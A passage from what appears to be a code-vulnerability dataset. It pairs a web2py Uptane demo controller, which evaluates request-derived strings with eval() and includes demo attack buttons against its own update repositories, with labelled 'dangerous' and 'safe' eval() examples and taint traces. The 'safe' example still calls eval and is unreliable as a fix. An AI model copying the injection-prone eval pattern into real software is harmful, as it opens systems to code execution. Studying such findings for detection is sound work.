imagerepo db with\n filename = return_filename(update_image)\n\n # Add uploaded images to imagerepo repo + write to repo\n imagerepo.add_target_to_image_repo(cwd+'/applications/UPTANE/static/uploads/'+update_image, filename)\n imagerepo.write_image_repo()\n\n # Metadata was initially intended to be showed, so this place holder function call was created\n meta = create_meta(form.vars.ecu_type + '_' + form.vars.update_version)\n\n # Add or Update this instantiation of the ECU in the ECU db\n id_added = db.ecu_db.update_or_insert((db.ecu_db.supplier_name == auth.user.username) &\n (db.ecu_db.ecu_type == form.vars.ecu_type) &\n (db.ecu_db.update_version == form.vars.update_version),\n ecu_type=form.vars.ecu_type,\n update_version=form.vars.update_version,\n supplier_name=auth.user.username,\n metadata=meta,\n update_image=form.vars.update_image)\n print('id_added: {0}\\necu:{1}'.format(id_added, db.ecu_db.id==id_added))\n\n response.flash = 'form accepted'\n elif form.process().errors:\n response.flash = 'form has errors'\n else:\n response.flash = 'please fill out the form'\n return form\n\n@auth.requires_login()\ndef add_ecu_validation(form):\n meta = create_meta('3')\n id_added = db.ecu_db.update_or_insert((db.ecu_db.supplier_name == auth.user.username) &\n (db.ecu_db.ecu_type == form.vars.ecu_type) &\n (db.ecu_db.update_version == form.vars.update_version),\n ecu_type=form.vars.ecu_type,\n update_version=form.vars.update_version,\n supplier_name=auth.user.username,\n metadata=meta,\n update_image=form.vars.update_image)\n\n@auth.requires_login()\ndef create_vehicle(form):\n try:\n #print('\\n\\nCREATE_VEHICLE()')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n #print('\\n\\nAFTER CREATING DIRECTOR@ ADDR: {0}:{1}'.format(str(demo.DIRECTOR_SERVER_HOST), str(demo.DIRECTOR_SERVER_PORT)))\n\n # Add a new vehicle to the director repo (which includes writing to the repo)\n director.add_new_vehicle(form.vars.vin)\n director.write_director_repo(form.vars.vin)\n\n pri_ecu_key = demo.import_public_key('primary')\n sec_ecu_key = demo.import_public_key('secondary')\n ecu_pub_key = ''\n #print('\\n\\n\\ncreating vehicle now\\n{0}\\ttype: {1}\\n'.format(form.vars, type(form.vars)))\n #print('pri_ecu_key: {0}\\nsec_ecu_key: {1}\\necu_pub_key: {2}'.format(pri_ecu_key, sec_ecu_key, ecu_pub_key))\n for e_id in form.vars.ecu_list:\n ecu = db(db.ecu_db.id==e_id).select().first()\n\n # Retrieve the filename to add the target to the director\n cwd = os.getcwd()\n filename = return_filename(ecu.update_image)\n filepath = cwd + str('/applications/UPTANE/test_uploads/'+filename)\n\n # Determine if ECU is primary or secondary\n is_primary = True if ecu.ecu_type == 'INFO' else False\n\n # If it's a secondary, then add the target to the director and write to the director repo\n if not is_primary:\n director.add_target_to_director(filepath, filename, form.vars.vin, ecu.ecu_type+str(form.vars.vin))\n director.write_director_repo(form.vars.vin)\n\n # Register the ecu w/ the vehicle\n ecu_pub_key = pri_ecu_key if is_primary else sec_ecu_key\n #print('\\necu.ecu_type: {0} + form.vars.vin: {1}\\tis_primary: {2}'.format(ecu.ecu_type, form.vars.vin, is_primary))\n # only register ecus ONCE - correct?\n director.register_ecu_serial(ecu.ecu_type+str(form.vars.vin), ecu_pub_key, form.vars.vin, is_primary)\n # Necessary?\n #director.write_director_repo(form.vars.vin)\n except Exception as e:\n print('Unable to create a new vehicle due to the following issue: {0}'.format(e))\n\n\n@auth.requires_login()\ndef get_supplier_versions(list_of_vehicles):\n try:\n info = db(db.ecu_db.ecu_type=='INFO').select().last()\n bcu = db(db.ecu_db.ecu_type=='BCU').select().last()\n tcu = db(db.ecu_db.ecu_type=='TCU').select().last()\n #print('\\n\\ninfo: {0}\\nbcu: {1}\\ntcu: {2}'.format(info, bcu, tcu))\n supplier_version = str(bcu.ecu_type) + \" : \" + str(bcu.update_version) + '\\n' + \\\n str(info.ecu_type) + \" : \" + str(info.update_version) + '\\n' + \\\n str(tcu.ecu_type) + \" : \" + str(tcu.update_version)\n\n for vehicle in list_of_vehicles:\n # Assume all vehicles have TCU, BCU, and INFO\n vehicle.update_record(supplier_version=supplier_version)\n except Exception as e:\n print('Unable to get the supplier versions due to the following error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_director_versions(list_of_vehicles):\n try:\n for vehicle in list_of_vehicles:#db(db.vehicle_db.oem==auth.user.username).select():\n #print('\\nvehicle: {0}'.format(vehicle))\n director_version = ''\n version_dict = {}\n #print('ecu_list unsorted: {0}\\necu_list sorted: {1}'.format(vehicle.ecu_list, sorted(vehicle.ecu_list)))\n for ecu in vehicle.ecu_list:\n ecu_type = db(db.ecu_db.id==ecu).select().first().ecu_type\n update_version = db(db.ecu_db.id==ecu).select().first().update_version\n version_dict[ecu_type] = update_version\n director_version += ' ' + str(ecu_type) + ' : ' + str(update_version)\n #print('director_version: {0}'.format(director_version))\n #print('version_dict: {0}'.format(version_dict))\n #print('ordered: version_dict: {0}'.format(OrderedDict(sorted(version_dict.items()))))\n # Director Str Version\n vehicle.update_record(director_version = director_version)\n #db.vehicle_db(db.vehicle_db.id == vehicle).update_record(director_version = director_version)\n # Dictionary Version\n #db.vehicle_db(db.vehicle_db.id == vehicle).update_record(director_version = version_dict)\n except Exception as e:\n print('Unable to get the director versions due to the following error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_vehicle_versions(list_of_vehicles):\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n\n # Iterate through the list of vehicles in order to return the vehicle reported versions\n for vehicle in list_of_vehicles:\n #print('vehicle: {0} : vin#: {1}'.format(vehicle, vehicle.vin))\n try:\n # Currently we're iterating through the 3 ECU types we limit the Supplier in uploading in order to retrieve\n # their ECU manifests. These are used to append to the ecu_serial_string.\n ecu_list = ['BCU', 'INFO', 'TCU']\n ecu_serial_string = ''\n # If the default file is returned from the ECU manifests (secondary_firmware.txt), then is_default stays true\n # and the checkin time for the vehicle will not be updated. However, if the ECU manifests have a different\n # file (i.e., the vehicle has 'updated'), then is_default gets set to False and the checkin time shall be\n # updated.\n is_default = True\n update_checkin_time = False\n # Iterate through the list of ECU's (which is currently hardcoded) and gather their ecu_manifest\n # From each ecu_manifest, parse the file name of their current image and add it to the ecu_serial_string\n for ecu in ecu_list:\n ecu_manifest = director.get_last_ecu_manifest(str(ecu)+str(vehicle.vin))\n try:\n file_path = ecu_manifest['signed']['installed_image']['filepath']\n if file_path == '/secondary_firmware.txt':\n ecu_serial_string += '{0} : {1} '.format(str(ecu), 'N/A')\n else:\n is_default = False\n update_checkin_time = True\n ecu_serial_string += '{0} : {1} '.format(str(ecu), file_path[-7:-4])\n except Exception:\n # This is to catch the error received from an ECU manifest that returns an error\n ecu_serial_string += '{0} : {1} '.format(str(ecu), 'N/A') if is_default else '{0} : {1} '.format(str(ecu), '1.0')\n\n vehicle.update_record(vehicle_version=ecu_serial_string)\n cur_time = datetime.datetime.now()\n\n vehicle.update_record(checkin_date=cur_time) if update_checkin_time else print('Checkin date will not be updated for vehicle: {0}'.format(vehicle.vin))\n except Exception as e:\n vehicle.update_record(vehicle_version='None')\n print('did not work with this error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_status(list_of_vehicles):\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n\n # Iterate through the list of vehicles in order to return the ECU reported attacks detected\n for vehicle in list_of_vehicles:\n try:\n # Get the vehicle's manifest\n vv = director.get_last_vehicle_manifest(vehicle.vin)\n attack_status = ''\n if 'signed' in vv:\n try:\n # Retrieve all of the reported ecu_version manifests keys\n ecu_serials = list(vv['signed']['ecu_version_manifests'].keys())\n if ecu_serials:\n for ecu in ecu_serials:\n # Retrieve the ECU's last manifest to parse the attacks_detected\n ecu_mani = director.get_last_ecu_manifest(ecu)\n if ecu_mani:\n attack_status = ecu_mani['signed']['attacks_detected']\n except Exception:\n print('Unable to get the ecu_version_manifests from the vehicle manifest.')\n\n # If the attack_status is not the default of '' then we'll return the reported attack_status\n # otherwise, we'll return a value of 'Good'\n attack_status = attack_status if attack_status else 'Good'\n vehicle.update_record(status=attack_status)\n\n except Exception as e:\n vehicle.update_record(status='Unknown')\n print('get_status failed with this error: {0}'.format(e))\n\n@auth.requires_login()\ndef get_time_elapsed(list_of_vehicles):\n for vehicle in list_of_vehicles:\n cur_time = datetime.datetime.now()\n checkin_date = vehicle.checkin_date\n elapsed_time = cur_time - checkin_date\n\n # Convert the elapsed_time to days (d), hours (h), minutes (m), and seconds (s)\n d = divmod(elapsed_time.total_seconds(), 86400)\n h = divmod(d[1], 3600)\n m = divmod(h[1], 60)\n s = m[1]\n\n elapsed_time_string = '{0} days'.format(int(d[0]))\n #elapsed_time_string = '{0} days, {1} hours, {2} minutes'.format(int(d[0]),int(h[0]),int(m[0]))\n vehicle.update_record(time_elapsed=elapsed_time_string)\n\n\n@auth.requires_login()\ndef database_contents():\n # return the database contents based off the current_user\n current_user = auth.user.username\n\n # If it's a supplier, pull up data based off their username\n if current_user == 'supplier1' or current_user == 'supplier2':\n if db.ecu_db.id != '':\n # The following sets the ID#'s to non-readable and pulls all ECU's created by the current user\n db.ecu_db.id.readable=False\n db_contents = SQLFORM.grid(db.ecu_db.supplier_name==auth.user.username, searchable=False, csv=False,\n create=False, editable=False, details=False)\n #onvalidation=add_ecu_validation)\n else:\n db_contents = T('Hello, you have no ecu/vehicles....')\n return db_contents\n\n # Else it's an OEM; so display database applicable to them\n else:\n #print('\\nrequest: {0}'.format(request.vars['ecu_list']))\n list_of_vehicles = db(db.vehicle_db.oem==auth.user.username).select()\n get_supplier_versions(list_of_vehicles)\n get_director_versions(list_of_vehicles)\n get_vehicle_versions(list_of_vehicles)\n get_status(list_of_vehicles)\n get_time_elapsed(list_of_vehicles)\n db.vehicle_db.id.readable=False\n db_contents = SQLFORM.grid(db.vehicle_db.oem==auth.user.username, create=True,\n selectable=lambda vehicle_id: selected_vehicle(vehicle_id), csv=False,\n searchable=False, details=False, editable=False, oncreate=create_vehicle,\n selectable_submit_button='View Vehicle Data',\n maxtextlengths={'vehicle_db.supplier_version' : 50,\n 'vehicle_db.director_version' : 50,#,\n 'vehicle_db.vehicle_version' : 50})#,\n # HREF link to another page - may be good for 'available updates': links = [lambda row: A('Director Updates', _href=URL(\"default\",\"show\",args=[row.id]))])\n\n #print('request.args: {0}\\n'.format(request.args))\n\n # If we are adding a new vehicle to the database\n if 'new' in request.args:\n # Regex used to find all ecu 'options' within the db_contents div tag\n # String we are parsing db_contents for, thus reasoning for specific regex: '
[ecu_id]
'\n reg_val = re.findall(\"\\>\\d{1,3}\\<\", str(db_contents))\n # If there is a match, pull value from ecu_db\n if reg_val:\n for reg in reg_val:\n ecu_id= reg[1:-1]\n ecu = db(db.ecu_db.id==ecu_id).select().first()\n ecu_name = ecu.ecu_type\n ecu_ver = ecu.update_version\n ecu_str = '>' + ecu_name + ' - ' + ecu_ver + '<'\n\n # Find old 'option' string and replace with newly retrieved ECU Type + Version\n db_contents = gluon.html.XML(str(db_contents).replace(reg, ecu_str))\n\n #print('request.args w/ error: {0}'.format(request.args))\n #print('db_contents: {0}'.format(db_contents))\n\n changed_ecu_list = request.vars['changed_ecu_list']\n edited_vehicle=request.vars['vehicle_id']\n error_message=request.vars['error_message']\n #print('request.vars: {0}\\n'.format(request.vars))\n #print('error message: {0}\\ntype: {1}'.format(error_message, type(error_message)))\n #print('changed ecu_list: {0}'.format(changed_ecu_list))\n #print('edited_vehicle: {0}'.format(edited_vehicle))\n #print('\\nDetermining vehicles w/ available updates')\n available_updates = []\n available_updates = determine_available_updates()\n\n #db_contents = SQLFORM.smartgrid(db.vehicle_db)\n if changed_ecu_list == None:\n return dict(db_contents=db_contents, available_updates=available_updates, error_message=error_message)\n else:\n return dict(db_contents=db_contents,changed_ecu_list=changed_ecu_list,edited_vehicle=edited_vehicle,\n available_updates=available_updates, error_message=error_message)\n\n@auth.requires_login()\ndef selected_vehicle(vehicle_id):\n print('Here I am inside of the selectable...')\n # Ensure that a single vehicle is selected before continuing\n error_message = None\n if len(vehicle_id) == 1:\n # print('vehicle_id')\n # print(vehicle_id)\n vehicle = db(db.vehicle_db.id==vehicle_id[0]).select().first()\n #print selected_vehicle\n #print selected_vehicle.ecu_list\n vehicle_ecu_list = []\n ecu_id_list = []\n ecu_type_list = []\n for ecu in vehicle.ecu_list:\n #print ecu\n #print type(ecu)\n selected_ecu = db(db.ecu_db.id==ecu).select().first()\n #print selected_ecu.ecu_type\n #print type(selected_ecu)\n # Add all ecu_id's to the ecu_id_list\n vehicle_ecu_list.append(selected_ecu)\n ecu_id_list.append(selected_ecu.id)\n # Only add ecu_types if they are not currently in the ecu_type_list\n if selected_ecu.ecu_type not in ecu_type_list:ecu_type_list.append(selected_ecu.ecu_type)\n #name = selected_ecu.ecu_type\n #print name\n #print('ecu_id_list')\n #print(vehicle_ecu_list)\n #ecu_view = (dict(ecu_list=SQLFORM.grid((db.ecu_db.id==ecu_id_list[0]))))\n #return locals()\n\n redirect(URL('ecu_list', vars=dict(vehicle_ecu_list=vehicle_ecu_list, ecu_type_list=ecu_type_list, ecu_id_list=ecu_id_list, vehicle_id=vehicle_id)))\n #ecu_list(ecu_id_list)\n #redirect(URL('next', 'list_records', vars=vehicle_id[0]))\n else:\n print('Please select a single vehicle first.')\n error_message = 'Please select a single vehicle before proceeding.'\n redirect(URL('index', vars=dict(error_message=error_message)))\n\n@auth.requires_login()\ndef ecu_list():\n vehicle_ecu_list = request.vars['vehicle_ecu_list']\n ecu_id_list = request.vars['ecu_id_list']\n ecu_type_list = request.vars['ecu_type_list']\n vehicle_id = request.vars['vehicle_id']\n vehicle_vin = db(db.vehicle_db.id==vehicle_id).select().first().vin\n\n # Now have to build the query that will effect what is shown on the screen\n num_ecus = 0\n query = ''\n for ecu in iter(ecu_type_list):\n #print ecu\n num_ecus += 1\n #query+=\"({0}=='{1}')\".format(db.ecu_db.ecu_type,ecu)\n query+=\"(db.ecu_db.ecu_type=='\" + ecu + \"')\"\n if num_ecus < len(ecu_type_list):\n query+=\" | \"\n\n #print('query: {0}'.format(query))\n # This line changes our custom query (created above) from a str to a type Query\n # This enables us to send the query as the first argument for SQLFORM.grid()\n mod_query = db(eval(query))\n #print('mod query: {0}'.format(mod_query))\n db.ecu_db.id.readable=False\n return dict(ecu_type_list=ecu_type_list, ecu_id_list=ecu_id_list,\n ecu_list=SQLFORM.grid(mod_query, selectable=lambda ecus: selected_ecus(ecus), csv=False,\n orderby=[db.ecu_db.ecu_type, ~db.ecu_db.update_version],\n searchable=False, editable=False, deletable=False, create=False,details=False,\n selectable_submit_button='Create Bundle',\n onupdate=create_bundle_update()),\n vehicle_vin=vehicle_vin)#, selected=ecu_id_list))\n\n\n@auth.requires_login()\ndef create_bundle_update():\n print('\\n\\nUP inside the update')\n\n\n@auth.requires_login()\ndef selected_ecus(selected_ecus):\n #print('inside selected ecus')\n ecu_id_list = request.vars['ecu_id_list']\n changed_ecu_list = []\n vehicle_id = request.vars['vehicle_id']\n\n is_primary = False\n for ecu in selected_ecus:\n if str(ecu) not in ecu_id_list:\n changed_ecu_list.append(ecu)\n else:\n print(str(ecu) + ' is in the list!')\n\n #print('changed_ecu_list: {0}'.format(changed_ecu_list))\n if changed_ecu_list:\n db.vehicle_db(db.vehicle_db.id == vehicle_id).update_record(ecu_list=selected_ecus)\n #if len(changed_ecu_list) == 1: # <~> Why use this condition?\n print('changed_ecu_list contains ' + repr(len(changed_ecu_list)))\n\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n # <~> I'd expect vin to be the same within this call, since this\n # dialog is for an individual vehicle. No?\n vin = db(db.vehicle_db.id==vehicle_id).select().first().vin\n director.clear_vehicle_targets(vin)\n for i in range(len(changed_ecu_list)):\n\n\n cur_ecu = db(db.ecu_db.id==changed_ecu_list[i]).select().first()\n #print('\\ncur_ecu: {0}'.format(cur_ecu))\n\n # Do a check to see if it's the Primary (potentially add it after appending to\n # changed_ecu_list w/ boolean is_primary)\n is_primary = True if cur_ecu.ecu_type == 'INFO' else False\n\n #print('\\ncur_ecu: {0}'.format(cur_ecu))\n #print('\\nis_primary: {0}'.format(is_primary))\n\n # Add the bundle to the vehicle\n cwd = os.getcwd()\n #print('\\ncwd now2: {0}'.format(cwd))\n\n # Retrieve the filename\n filename = return_filename(cur_ecu.update_image)\n # <~> Why are we using test_uploads paths? We can't assume the\n # image files exist in the test_uploads folder.\n filepath = cwd + str('/applications/UPTANE/test_uploads/'+filename)\n\n\n vehicle_id = request.vars['vehicle_id']\n #print('vehicle_id: {0}'.format(vehicle_id))\n ecu_serial = cur_ecu.ecu_type+str(vin)\n\n #print('filepath: {0}\\nfilename: {1}\\nvin: {2}\\necu_serial: {3}'.format(filepath, filename, vin, ecu_serial))\n\n director.add_target_to_director(filepath, filename, vin, ecu_serial)\n director.write_director_repo(vin)\n\n pri_ecu_key = demo.import_public_key('primary')\n sec_ecu_key = demo.import_public_key('secondary')\n ecu_pub_key = ''\n\n\n # <~> Why would we register the ECU every time we want to update it?\n # (Am I missing something?)\n # # Register the ecu w/ the vehicle\n # is_primary = True if cur_ecu.ecu_type == 'INFO' else False\n # ecu_pub_key = pri_ecu_key if is_primary else sec_ecu_key\n # print('\\necu.type+vin: {0}{1}\\tform.vars.vin: {2}\\tis_primary: {3}'.format(cur_ecu.ecu_type, str(vin), vin, is_primary))\n # director.register_ecu_serial(cur_ecu.ecu_type+str(vin), ecu_pub_key, vin, is_primary)\n\n redirect(URL('index', vars=dict(ecu_id_list=ecu_id_list, selected_ecu_list=selected_ecus, changed_ecu_list=changed_ecu_list, vehicle_id=vehicle_id)))\n\n@auth.requires_login()\ndef return_filename(update_image):\n print('update_image: {0}'.format(update_image))\n\n # After getting the file image name, convert the name of the file from hex to ascii\n # and use this value to populate the supplier db with\n fname_after_split=str(update_image).split('.')[-2]\n filename = bytes.fromhex(fname_after_split).decode('utf-8')\n print('filename: {0}'.format(filename))\n return str(filename)\n\n\n# This function is intended to be used with a Director/OEM resetting their system\n@auth.requires_login()\ndef reset_system():\n ''' This method is invoked when the Reset System button is clicked on the OEM screen.\n The intention of this function is to remove only the latest added ECU update and vehicle.\n :return: Updated ecu_db and vehicle_db\n '''\n try:\n vehicles = db(db.vehicle_db.oem == auth.user.username).select()\n ecus = db(db.ecu_db.supplier_name == 'supplier1').select()\n\n # If there are more than one ecu's then continue (don't want to delete the last remaining ecu)\n if ecus and len(ecus) >1:\n # Get the last ecu from the pydal.Objects.Rows -- could iterate through the rows if necessary\n ecu = ecus.last()\n\n # Uncomment this line below if you want to delete the ecu\n #db(db.ecu_db.id == ecu.id).delete()\n\n # If there are more than one vehicles then continue (don't want to delete the last remaining vehicle)\n if vehicles and len(vehicles) >1:\n # Setup the director to call the XMLRPC call\n # If the vehicle vin is needed can get it from: vehicle.vin (assuming it's a single vehicle and not the list of vehicles)\n #director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n # ':' + str(demo.DIRECTOR_SERVER_PORT))\n #director.clear_vehicle_targets()\n\n # Get the last vehicle from the pydal.Objects.Rows -- could iterate through the rows if necessary\n vehicle = vehicles.last()\n\n # Uncomment this line below if you want to delete the ecu\n #db(db.vehicle_db.id == vehicle.id).delete()\n\n except Exception as e:\n print('Unable to reset the system due to this error: {0}'.format(e))\n\n\n\n# The calls below are intended to be used with the hacked.html page\n# for a hacked Director Repository.\n# In each of the attack scripts and recovery scripts below, we'll hard-code the\n# vehicle identifier and image filename for the demo.\n\n@auth.requires_login()\ndef hack1():\n print('\\n\\nDirector Hack1 - Arbitrary Package Nokeys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.mitm_arbitrary_package_attack('democar', 'TCU1.1.txt')\n print('\\n\\nDirector Hack1 - Arbitrary Package Nokeys - Done')\n\n@auth.requires_login()\ndef hack2():\n print('\\n\\nDirector Hack2 - Prepare for Replay Attack Nokeys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.prepare_replay_attack_nokeys('democar')\n print('\\n\\nDirector Hack2 - Prepare for Replay Attack Nokeys - Done')\n\n@auth.requires_login()\ndef hack3():\n print('\\n\\nDirector Hack3 - Replay Attack Nokeys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.replay_attack_nokeys('democar')\n print('\\n\\nDirector Hack3 - Replay Attack Nokeys - Done')\n\n@auth.requires_login()\ndef hack4():\n print('\\n\\nDirector Repo Hack4 - Arbitrary Package Attack w/ Key CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.keyed_arbitrary_package_attack(\n 'democar', 'TCUdemocar', 'TCU1.1.txt')\n print('\\n\\nDirector Repo Hack4 - Arbitrary Package Attack w/ Key - Done!')\n\n@auth.requires_login()\ndef hack5():\n print('\\n\\nDirector Repo Hack5 - Sign with Compromised Keys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.sign_with_compromised_keys_attack()\n print('\\n\\nDirector Repo Hack5 - Sign with Compromised Keys - Done')\n\n@auth.requires_login()\ndef hack6():\n print('\\n\\nHack6 Clicked - No Action')\n\n@auth.requires_login()\ndef fix1():\n print('\\n\\nDirector Fix1 - Undo Arbitrary Package Nokeys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.undo_mitm_arbitrary_package_attack('democar', 'TCU1.1.txt')\n print('\\n\\nDirector Fix1 - Undo Arbitrary Package Nokeys - Done')\n\n@auth.requires_login()\ndef fix2():\n print('\\n\\nFix2 Clicked - No Action')\n\n@auth.requires_login()\ndef fix3():\n print('\\n\\Director Fix3 - Undo Replay Attack Nokeys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.undo_replay_attack_nokeys('democar')\n print('\\n\\Director Fix3 - Undo Replay Attack Nokeys - Done')\n\n@auth.requires_login()\ndef fix4():\n print('\\n\\nDirector Fix4 - Undo Arbitrary Package Attack w/ Key - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.undo_keyed_arbitrary_package_attack(\n 'democar', 'TCUdemocar', 'TCU1.1.txt')\n print('\\n\\nDirector Fix4 - Undo Arbitrary Package Attack w/ Key - Done')\n\n@auth.requires_login()\ndef fix5():\n print('\\n\\nDirector Fix5 - Undo Sign with Compromised Keys - CLICKED!')\n director = xmlrpc.client.ServerProxy('http://' + str(demo.DIRECTOR_SERVER_HOST) +\n ':' + str(demo.DIRECTOR_SERVER_PORT))\n director.undo_sign_with_compromised_keys_attack()\n print('\\n\\nDirector Fix5 - Undo Sign with Compromised Keys - Done')\n\n@auth.requires_login()\ndef fix6():\n print('\\n\\nFix6 Clicked - No Action')\n\n# The calls below are intended to be used with the hacked_repo.html page\n# for a hacked Image Repository.\n@auth.requires_login()\ndef repo_hack1():\n \"\"\"Arbitrary Package Attack on the Image Repo without Compromised Keys\"\"\"\n print('\\n\\nImage Repo Hack1 - MITM Arbitrary Package Nokeys - CLICKED!')\n imagerepo = xmlrpc.client.ServerProxy('http://' + str(demo.IMAGE_REPO_SERVICE_HOST) +\n ':' + str(demo.IMAGE_REPO_SERVICE_PORT))\n imagerepo.mitm_arbitrary_package_attack('TCU1.1.txt')\n\n@auth.requires_login()\ndef repo_hack2():\n print('\\n\\nRepo Hack2 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_hack3():\n print('\\n\\nRepo Hack3 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_hack4():\n print('\\n\\nImage Repo Hack4 - Arbitrary Package Compromised Key CLICKED!')\n imagerepo = xmlrpc.client.ServerProxy('http://' + str(demo.IMAGE_REPO_SERVICE_HOST) +\n ':' + str(demo.IMAGE_REPO_SERVICE_PORT))\n imagerepo.keyed_arbitrary_package_attack('TCU1.1.txt')\n\n@auth.requires_login()\ndef repo_hack5():\n print('\\n\\nRepo Hack5 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_hack6():\n print('\\n\\nRepo Hack6 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_fix1():\n \"\"\"Undo Arbitrary Package attack w/out compromised keys\"\"\"\n print('\\n\\nImage Repo Fix1 - MITM Arbitrary Package Nokeys - CLICKED!')\n imagerepo = xmlrpc.client.ServerProxy('http://' + str(demo.IMAGE_REPO_SERVICE_HOST) +\n ':' + str(demo.IMAGE_REPO_SERVICE_PORT))\n imagerepo.undo_mitm_arbitrary_package_attack('TCU1.1.txt')\n\n@auth.requires_login()\ndef repo_fix2():\n print('\\n\\nRepo Fix2 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_fix3():\n print('\\n\\nRepo Fix3 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_fix4():\n print('\\n\\nImage Repo Fix4 - Arbitrary Package Compromised Key Recovery CLICKED!')\n imagerepo = xmlrpc.client.ServerProxy('http://' + str(demo.IMAGE_REPO_SERVICE_HOST) +\n ':' + str(demo.IMAGE_REPO_SERVICE_PORT))\n imagerepo.undo_keyed_arbitrary_package_attack('TCU1.1.txt')\n\n@auth.requires_login()\ndef repo_fix5():\n print('\\n\\nRepo Fix5 Clicked - No Action')\n\n@auth.requires_login()\ndef repo_fix6():\n print('\\n\\nRepo Fix6 Clicked - No Action')", "dangerousExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tret = eval(message)\n7. \treturn render(request, '/success.html', {'data':ret})\nLine 6: eval() executes dynamic code, which can lead to code injection attacks.", "safeExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tif message.isalnum():\n7. \t\tret = eval(message)\n8. \t\treturn render(request, '/success.html', {'data':ret})\nLine 6: isalnum() validates that only alphanumeric characters are used, which is safe.", "contexts": [{"lineNo": 491, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 491, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.vars"}}, {"lineNo": 491, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.vars[\"ecu_type_list\"]"}}, {"lineNo": 497, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 498, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "iter"}}, {"lineNo": 498, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 498, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 498, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 502, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 503, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "503"}}, {"lineNo": 504, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 509, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "ae0b9d44fbe291104f40829049312aaabc6ec3a9533709d5ef4d3a593dbcffba", "license": {"spdx": ["MIT"], "repo": "aiwarrior-23/revised_serps", "path": "python/pohuAPI.py", "repo_head_hexsha": "3cc94eaf8573f6c0d67619171c1e99c2867c57d0", "stack_hexsha": "dc1392128332fefdfb59bfc4b4b6fd9091ba81e5", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Code Injection", "issueDescriptionEn": "The security weakness allows an attacker to cause software to behave abnormally by injecting code to change the intended behaviour of the software. If you allow functions that take user input and execute dynamic code, you run the risk of allowing an attacker to execute code that was not intended by the developer, allowing them to take over privileges, bypass authentication, or execute system commands.\nFunctions that can lead to code injection attacks in Python include `eval()`, `exec()`, and others. If you don't validate the arguments of these functions, you can execute the code passed by the attacker.\nAvoid using functions that can execute dynamic code. If necessary, validate them against external input in a whitelist fashion to ensure that they do not accept executable dynamic code as input. Alternatively, filter user input values used in dynamic code to ensure that they contain only valid characters.", "issueLineNumber": 163, "entireCode": "\nimport json\nfrom pymongo import MongoClient\nfrom flask import jsonify, request, Flask\nfrom flask_cors import CORS\nimport flask\nfrom utils.utils import *\nfrom bson import ObjectId\nimport copy\nimport requests\nimport datetime\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route(\"/login\",methods=['POST'])\ndef loginUser():\n details=request.get_json()[\"userDetails\"]\n userName=details[\"userName\"]\n password=details[\"password\"]\n isParent=details[\"isParent\"]\n response, uName, mailId,stdId,role,designation =checkforLogin(userName,password,isParent)\n if(response==\"Teacher\"):\n return jsonify({\"message\": \"Congratualtion for Login\",\n \"uName\": uName,\n 